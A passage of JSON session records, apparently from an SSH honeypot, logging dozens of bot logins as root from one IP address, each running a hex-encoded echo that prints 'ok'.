  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:05.958615+00:00",
  "ended_at": "2026-08-23T08:58:07.460923+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5ddda475-138f-4970-acc5-563464093987",
  "name": "wistful-ivory-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39724,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:00.430239+00:00",
  "ended_at": "2026-08-23T08:58:05.204026+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2b48f0fa-7b43-4185-adf0-3ac2d4f59c82",
  "name": "faded-serene-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:58.583335+00:00",
  "ended_at": "2026-08-23T08:57:59.743941+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4aac1cd2-d0c6-4d87-b1ac-9f44251e6adf",
  "name": "sincere-pleasant-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:57.038295+00:00",
  "ended_at": "2026-08-23T08:57:57.933299+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24d5450a-1f9c-4eb1-8a44-bdf631221a53",
  "name": "whispering-alpine-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:55.397906+00:00",
  "ended_at": "2026-08-23T08:57:56.304961+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e9d51866-cf03-4f65-9040-2a0be2397174",
  "name": "genial-breezy-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:53.587428+00:00",
  "ended_at": "2026-08-23T08:57:54.657043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b8988f8b-d366-42d1-81ef-ea275f438588",
  "name": "regal-thawing-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:50.888589+00:00",
  "ended_at": "2026-08-23T08:57:52.945866+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a1d642e7-91c4-41e0-a4ce-1392f49078a2",
  "name": "jolly-dappled-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:48.399154+00:00",
  "ended_at": "2026-08-23T08:57:50.155313+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dde9b046-4fee-4da6-86d4-0d39894ec8d0",
  "name": "coral-wooded-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:46.777719+00:00",
  "ended_at": "2026-08-23T08:57:47.754614+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02dc552b-5ce2-4071-9a39-9f312255f3f9",
  "name": "pristine-gnarled-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:44.316230+00:00",
  "ended_at": "2026-08-23T08:57:46.004935+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "257c5355-d5b2-41a9-be9e-75f937b30cbf",
  "name": "serene-lanky-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52340,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:42.405327+00:00",
  "ended_at": "2026-08-23T08:57:43.560581+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e405374-0d62-4d84-bfc5-e67cde2d5d4f",
  "name": "silent-quartz-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:40.585578+00:00",
  "ended_at": "2026-08-23T08:57:41.717654+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ceab397f-39c5-4043-844b-73376e993b6e",
  "name": "supple-gritty-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:37.652028+00:00",
  "ended_at": "2026-08-23T08:57:39.839779+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ce330c5-b43c-4879-9b35-f64c49d7ffd1",
  "name": "quiet-ruddy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:35.134098+00:00",
  "ended_at": "2026-08-23T08:57:36.969187+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14ecba21-b521-483b-b40d-460ce4d2b547",
  "name": "weathered-hazy-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:32.752324+00:00",
  "ended_at": "2026-08-23T08:57:34.483914+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cf062c27-317b-4c2c-9679-ace5417057ca",
  "name": "candid-opal-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:30.723698+00:00",
  "ended_at": "2026-08-23T08:57:32.135109+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6503c44b-c515-4c1c-a826-433f72882137",
  "name": "ruddy-solemn-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:28.432826+00:00",
  "ended_at": "2026-08-23T08:57:30.030144+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f6d7e141-9e20-4a18-809e-cbe8c8228d0e",
  "name": "fierce-shifting-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:26.092390+00:00",
  "ended_at": "2026-08-23T08:57:27.663184+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4bd0f339-1ce3-4dff-9aa2-2fb332245dbf",
  "name": "golden-prairie-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:23.610920+00:00",
  "ended_at": "2026-08-23T08:57:25.374935+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aec56274-9d21-4585-b832-e9b34bedf545",
  "name": "frugal-polar-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:20.830915+00:00",
  "ended_at": "2026-08-23T08:57:22.964329+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e3115f53-e3e4-41b3-93e9-1b1162e41f64",
  "name": "thorny-lively-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:19.181503+00:00",
  "ended_at": "2026-08-23T08:57:20.080131+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "797f43d7-08b1-4ac0-adb3-6358ff014f67",
  "name": "grassy-curious-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:16.512905+00:00",
  "ended_at": "2026-08-23T08:57:18.550152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ee53d5d-8c86-4913-8a17-0da5f2f9e507",
  "name": "loyal-lanky-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57608,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:13.745780+00:00",
  "ended_at": "2026-08-23T08:57:15.804915+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f333dbd3-7026-4962-ac65-4fd725c9d467",
  "name": "ginger-knotted-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:10.855524+00:00",
  "ended_at": "2026-08-23T08:57:12.995634+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "223b59ed-88ec-48aa-a903-d74e01b43717",
  "name": "crystal-dewy-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:08.342783+00:00",
  "ended_at": "2026-08-23T08:57:10.005653+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4fad2fb-d11c-43fc-9abc-cd3634fe8c4c",
  "name": "blunt-rambling-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:06.324028+00:00",
  "ended_at": "2026-08-23T08:57:07.684997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3b4a5d65-e6f9-4d4f-b36c-518602f03eb4",
  "name": "wooded-prairie-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:04.024811+00:00",
  "ended_at": "2026-08-23T08:57:05.553998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7012b2e-6f91-4b5e-a417-dd17aff85075",
  "name": "clever-misty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43884,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:57:01.189202+00:00",
  "ended_at": "2026-08-23T08:57:03.199991+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11be8562-4e2d-4195-bf10-aaf2f8d77b68",
  "name": "sandy-reedy-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59422,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:58.158820+00:00",
  "ended_at": "2026-08-23T08:57:00.436941+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d974001-2d6b-4012-b6f0-97c07f716ceb",
  "name": "fleeting-lanky-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:55.459634+00:00",
  "ended_at": "2026-08-23T08:56:57.482113+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "32391c72-6000-415b-8915-dc46ae1695b2",
  "name": "brave-lucid-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:53.569421+00:00",
  "ended_at": "2026-08-23T08:56:54.620816+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3c2a03c3-e84f-4d04-9600-415577dbc660",
  "name": "grumpy-faded-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:51.821172+00:00",
  "ended_at": "2026-08-23T08:56:52.914064+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab417bfb-35df-4952-b258-3171fd78c4d1",
  "name": "glassy-feathered-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:49.034339+00:00",
  "ended_at": "2026-08-23T08:56:51.050142+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15b5717c-f27d-4703-820a-91a62c933d4f",
  "name": "cosmic-forlorn-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:46.251252+00:00",
  "ended_at": "2026-08-23T08:56:48.307854+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a770c848-6f3e-409e-916f-d36700b77bdd",
  "name": "solar-gritty-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:43.271026+00:00",
  "ended_at": "2026-08-23T08:56:45.443050+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9fe1c588-6fe0-423a-92b0-78e9e18d6503",
  "name": "dusky-feathered-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:41.379924+00:00",
  "ended_at": "2026-08-23T08:56:42.462130+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "308d0222-81e2-46f5-95c6-751aade8d0a9",
  "name": "diligent-jaunty-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:39.413214+00:00",
  "ended_at": "2026-08-23T08:56:40.602664+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "609a5acd-15a4-4f48-99f1-167d74c31080",
  "name": "gritty-sleepy-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59608,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:36.799443+00:00",
  "ended_at": "2026-08-23T08:56:38.584137+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b03846e8-75e7-459f-8574-da14a3b2388d",
  "name": "snowy-canny-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:35.183085+00:00",
  "ended_at": "2026-08-23T08:56:36.089841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97d3a4ee-17bb-43a9-b1e8-759699ec430e",
  "name": "tawny-vigilant-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59582,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:33.545388+00:00",
  "ended_at": "2026-08-23T08:56:34.436150+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7173c25c-82c1-440d-87fe-23f8a4479792",
  "name": "proud-airy-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:31.150031+00:00",
  "ended_at": "2026-08-23T08:56:32.861490+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6ddf0567-946b-4c73-abc1-92c4de610e4c",
  "name": "emerald-tranquil-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33740,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:28.105763+00:00",
  "ended_at": "2026-08-23T08:56:30.305339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "75ed2f21-32dc-48d4-bccd-92f1832457e5",
  "name": "shaded-sleepy-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33726,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:25.315262+00:00",
  "ended_at": "2026-08-23T08:56:27.358505+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "224eb6d1-36c1-45fc-a3bf-b263a9675395",
  "name": "reedy-patient-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33712,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:20.593088+00:00",
  "ended_at": "2026-08-23T08:56:24.675354+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3bb4e75a-db0d-4166-bbfe-580f0243d372",
  "name": "serene-frosty-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:18.218501+00:00",
  "ended_at": "2026-08-23T08:56:19.868081+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "753bd0ab-9fee-40ee-8d7b-bf4458f904eb",
  "name": "fringed-rustic-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:15.519289+00:00",
  "ended_at": "2026-08-23T08:56:17.559226+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3a6ad488-c7bc-4737-8a02-20213b949d30",
  "name": "windswept-graceful-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:13.737541+00:00",
  "ended_at": "2026-08-23T08:56:14.788032+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c184ccd-578b-4420-a729-89b056784634",
  "name": "candid-salty-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:11.597908+00:00",
  "ended_at": "2026-08-23T08:56:13.000279+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "988313d5-e445-436f-99d1-e5c6bcc25f9c",
  "name": "sincere-lawful-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:56:09.858834+00:00",
  "ended_at": "2026-08-23T08:56:10.977688+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "25d3a0a8-436b-4fee-8f35-2c87aeb9bd56",
  "name": "brisk-gnarled-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
